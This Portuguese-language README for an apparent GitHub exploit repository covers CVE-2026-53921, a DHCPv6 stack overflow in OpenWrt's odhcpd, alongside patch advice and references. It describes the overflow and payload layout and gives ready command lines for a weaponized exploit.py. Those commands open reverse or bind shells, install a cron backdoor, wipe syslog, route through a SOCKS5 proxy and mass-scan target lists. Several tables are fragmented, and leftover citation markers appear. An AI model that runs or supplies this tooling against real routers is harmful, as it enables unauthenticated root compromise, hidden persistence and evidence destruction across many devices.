
CVE-2026-53921 – Estouro de Pilha (Stack Overflow) do odhcpd (CVSS 9.8) 🛡️ Write-Up detalhado e abrangente da vulnerabilidade, Verificador e Multi-exploit para RCE via DHCPv6 no OpenWrt. Overflow de vetor duplo (IA_NA/IA_PD) com shellcode MIPS/ARM, cadeias ROP, proxy SOCKS5, persistência, limpeza de logs e varredura em massa. Use com Ética, Permaneça Dentro da Lei. 🔒

⚠️ Apenas para fins educacionais e testes autorizados. O uso não autorizado é ilegal.
CVE-2026-53921 é um estouro de buffer de pilha crítico no daemon odhcpd do OpenWrt – o servidor DHCPv6/DHCPv4/RA padrão.
A vulnerabilidade existe no código de manipulação de mensagens DHCPv6 do odhcpd,
especificamente nas funções build_ia() e dhcpv6_ia_handle_IAs().
O bug ocorre durante a serialização (empacotamento) de pacotes de Resposta
DHCPv6. Quando o odhcpd responde a solicitações de clientes, ele constrói a
resposta em um buffer de pilha de tamanho fixo de 512 bytes sem a devida
verificação de limites.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Um atacante envia um DHCPv6 Request (ou Solicit) com:
Cada opção consome espaço na pilha enquanto o odhcpd constrói sua Resposta. Os
dados acumulados excedem 512 bytes, causando o estouro.
Vector Trigger Overflow Point
Site 1 5 opções IA_NA build_ia() para IA_NA
com endereços IPv6
build_ia() para IA_PDA causa raiz é idêntica, mas o estouro ocorre em caminhos de código diferentes, tornando ambos os vetores igualmente exploráveis.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
O atacante sobrescreve o endereço de retorno salvo para apontar para o seu shellcode na memória.
Requisito Descrição
Acesso à Rede O atacante deve ter conectividade IPv6 com o alvo
Autenticação Nenhuma -- ataque não autenticado
Privilégios odhcpd executa como root, então o RCE
concede controle total do sistema
Em um exploit real, o shellcode do atacante é colocado nos campos de endereço IPv6 do IAAddress (16 bytes por IA_NA). Os pacotes forjados empacotam o shellcode, o NOP sled e o endereço de retorno nesses campos.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Versão Status RCE Possível?
odhcpd < e432dd6 Vulnerável ✅ Sim OpenWrt < 24.10.8 Vulnerável ✅ Sim OpenWrt < 25.12.5 Vulnerável ✅ Sim OpenWrt 24.10.8+ Corrigido ❌ Não OpenWrt 25.12.5+ Corrigido ❌ Não odhcpd master + e432dd6 Corrigido ❌ Não
Esta vulnerabilidade é particularmente perigosa porque:
odhcpd está habilitado por padrão nas instalações do OpenWrt.| Componente | Versões vulneráveis | Corrigido em |
|---|---|---|
odhcpd (branch master) | antes do commit e432dd6 | e432dd6 ou posterior |
| Lançamentos do OpenWrt |
Este repositório fornece dois scripts independentes:
| Script | Objetivo | Código de exploit | Segurança |
|---|---|---|---|
verifier.py | Verificação de vulnerabilidade não intrusiva | ❌ Não | ✅ Seguro |
exploit.py |
verifier.py – Verificador de Vulnerabilidadeexploit.py – Exploit CompletoIA_NA (Site1) e IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argumento | Descrição |
|---|---|
-u, --target | Endereço IPv6 do alvo (obrigatório) |
-i, --iface | Interface de rede (padrão: eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
Atualize o OpenWrt para 24.10.8 ou 25.12.5 ou posterior.
opkg update
opkg upgrade odhcpd
Advisory de Segurança do OpenWrt (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 Advisory detalhado cobrindo ambos os vetores de estouro no odhcpd.
Entrada do CVE-2026-53921 no NVD https://nvd.nist.gov/vuln/detail/CVE-2026-53921 Entrada oficial do banco de dados de vulnerabilidades do NIST.
Notas de Lançamento do OpenWrt 24.10.8 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 Anúncio oficial de lançamento do branch 24.10.
Notas de Lançamento do OpenWrt 25.12.5 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html Anúncio oficial de lançamento do branch 25.12.
As versões 24.10.8 e 25.12.5 abordam múltiplas vulnerabilidades do odhcpd além do CVE-2026-53921 [citation:9]:
Análise do The Hacker News https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html Detalhamento técnico completo da vulnerabilidade e dos vetores de exploração. [citation:1]
Repositório de PoC no GitHub https://github.com/0xBlackash/CVE-2026-53921 Implementações públicas de proof-of-concept e detalhes técnicos. [citation:3]
A versão 25.12.5 também aborda vulnerabilidades em outros componentes principais [citation:10]:
Seletor de Firmware do OpenWrt https://firmware-selector.openwrt.org/ Baixe imagens de firmware corrigidas para o seu dispositivo.
Catálogo de Vulnerabilidades Exploradas Conhecidas da CISA https://www.cisa.gov/known-exploited-vulnerabilities-catalog Verifique se o CVE-2026-53921 foi adicionado ao KEV (até 27 de julho de 2026, não listado). [citation:1]
| < 24.10.8 < 25.12.5 |
| 24.10.8 & 25.12.5 |
| Exploit completo armado |
| ✅ Sim |
| ⚠️ Perigoso |
| Argumento | Descrição |
|---|
-u, --target | Endereço IPv6 do alvo |
-l, --list | Arquivo com lista de alvos |
-i, --iface | Interface de rede (padrão: eth0) |
--lhost | IP do ouvinte (obrigatório) |
--lport | Porta do ouvinte (padrão: 4444) |
--vector | site1, site2 ou both (padrão: both) |
--offset | Offset da pilha (padrão: 512) |
--ret | Endereço de retorno em hex (ex.: 0x7ffff000) |
--arch | Forçar mips ou arm (detecção automática se omitido) |
--payload | reverse ou bind (padrão: reverse) |
--encode | none ou xor (padrão: none) |
--proxy-host | IP do proxy SOCKS5 |
--proxy-port | Porta do proxy SOCKS5 (padrão: 1080) |
--persistence | Instalar backdoor via cron |
--clear-logs | Limpar syslog após a exploração |
--scan-only | Apenas escanear alvos, não explorar |
--threads | Número de threads para varredura (padrão: 5) |
--verbose | Registro detalhado (verbose) |
| ID do CVE | Severidade | Descrição |
|---|
| CVE-2026-53918 | Alta | Use-after-free no manipulador de IA DHCPv6 [citation:4][citation:9] |
| CVE-2026-53920 | Alta | Divulgação de memória da pilha via opção IA_NA/IA_PD DHCPv6 truncada [citation:9] |
| CVE-2026-53922 | Moderada | Negação de serviço pré-autenticação via underflow de size_t [citation:9] |
| CVE-2026-55606 | Moderada | Leitura além do limite do buffer de pilha devido a incompatibilidade de endianness no comprimento do DUID [citation:9] |
| CVE-2026-62948 | - | Injeção de hostname DHCPv6 levando a XSS armazenado [citation:1] |
| CVE-2026-62947 | - | Path traversal autenticado no cgi-io [citation:1] |